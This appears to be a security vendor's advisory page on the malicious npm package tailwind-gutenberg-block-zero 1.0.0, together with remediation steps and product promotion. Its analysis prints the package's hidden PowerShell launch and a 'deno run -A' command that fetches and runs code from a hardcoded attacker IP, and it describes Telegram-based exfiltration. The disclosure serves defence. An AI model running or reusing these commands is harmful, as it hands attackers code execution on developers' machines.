Which versions of tailwind-gutenberg-block-zero are malicious?

The following npm versions of tailwind-gutenberg-block-zero are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate tailwind-gutenberg-block-zero if I installed it?

tailwind-gutenberg-block-zero is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed tailwind-gutenberg-block-zero — how do I know if it already compromised me?

If tailwind-gutenberg-block-zero was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is tailwind-gutenberg-block-zero part of a known attack campaign?

Yes — tailwind-gutenberg-block-zero is associated with the IN-MAL-2026-011054 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find tailwind-gutenberg-block-zero across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for tailwind-gutenberg-block-zero (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging tailwind-gutenberg-block-zero across your stack and pipelines.

Malicious package

tailwind-gutenberg-block-zeronpm

tailwind-gutenberg-block-zero is a confirmed malicious npm package (MAL-2026-11044) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in tailwind-gutenberg-block-zero (npm)

MAL-2026-11044

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall tailwind-gutenberg-block-zero

What this malware does

The npm package tailwind-gutenberg-block-zero is a supply-chain dropper disguised as a WordPress / Gutenberg block plugin. The published tarball carries the trappings of a real plugin (a my-tailwind-blocks.php, a wp-scripts build configuration, a README and a screenshot), but its real behaviour lives in an npm install lifecycle hook.

package.json declares scripts.install = "node setup.js", so setup.js executes automatically on npm install, before the package is ever imported. The script fingerprints the host (os.platform(), os.hostname()), downloads a second-stage payload from the hardcoded raw IP http://172.94.9.157/v028f8cde892b0b74c8.js and writes it to disk, then executes it through a hidden, minimised PowerShell process (child_process.exec("start /min powershell ..."), alongside a bundled setup.ps1) — a Windows-targeted download-and-execute chain. Collected data is exfiltrated to a Telegram bot via https://api.telegram.org/bot<token>/sendMessage (the URL was reconstructed from an assembled string; the bot token is withheld).

Any developer workstation or CI runner that installs the package (directly or transitively) hands arbitrary code execution to the operator.

package.json declares "install": "node setup.js", so setup.js runs automatically on npm install. setup.js writes a PowerShell script to the OS temp directory and launches it with start /min powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File... (windowsHide:true, detached:true), then exits within ~500ms to conceal the child process. The staged PowerShell script installs Scoop/winget, installs the Deno runtime, and runs deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js — remote, unpinned JavaScript pulled over cleartext HTTP from a bare IP address and executed with Deno's -A all-permissions flag, giving arbitrary code full filesystem, network, environment, and subprocess access on the installer's machine. setup.js additionally collects os.hostname(), os.platform(), os.arch(), and a package identifier at install time and POSTs a [NEW INSTALLATION] beacon to api.telegram.org/bot<token>/sendMessage (bot token and chat id are blanked in this shipped variant but the exfil path is wired). The destination host is not the package's publisher, the runtime install is not the attack surface, and the fetched-and-executed remote JS is attacker-controlled; the cover story of a CMS Store Hub installation does not match the shipped behavior.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

dcdb0345912d382c162c8f389cd9b4cecdcad5a0940df166c4ffdc6bbcf2dbff

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for tailwind-gutenberg-block-zero (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging tailwind-gutenberg-block-zero across your stack and pipelines.
If you installed it — respond
tailwind-gutenberg-block-zero is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If tailwind-gutenberg-block-zero was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks tailwind-gutenberg-block-zero before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. tailwind-gutenberg-block-zero on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-011054

References

Credits

Amazon Inspector · finder
codelake Research · finder

Detect & block this

O3 blocks tailwind-gutenberg-block-zero-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database